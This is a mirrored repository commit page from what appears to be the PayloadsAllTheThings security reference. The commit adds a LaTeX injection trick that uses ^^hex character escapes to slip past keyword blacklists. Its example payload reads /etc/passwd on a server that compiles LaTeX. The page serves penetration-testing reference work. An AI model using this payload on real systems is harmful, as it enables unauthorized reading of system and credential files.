ch0ic3/PayloadsAllTheThings
1
0
Fork 0
mirror of https://github.com/swisskyrepo/PayloadsAllTheThings.git synced 2024-12-19 19:06:12 +00:00
Code Issues Actions Packages Projects Releases Wiki Activity

latex injection add blacklist bypass

Browse Source
This commit is contained in:
Alexander Hebel 2023-11-12 11:13:41 +01:00 committed by GitHub
parent d80068cc1b
commit ae3f91c88a
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 8 additions and 0 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

8
LaTeX Injection/README.md
View File

@ -53,6 +53,14 @@ characters can be deactivated in order to use `\input` on file containing `$`, `
\input{path_to_script.pl} \input{path_to_script.pl}
``` ```
To bypass a blacklist try to replace one character with it's unicode hex value.
- ^^41 represents a capital A
- ^^7e represents a tilde (~) note that the ‘e’ must be lower case
```tex
\lstin^^70utlisting{/etc/passwd}
```
## Write file ## Write file
Write single lined file: Write single lined file: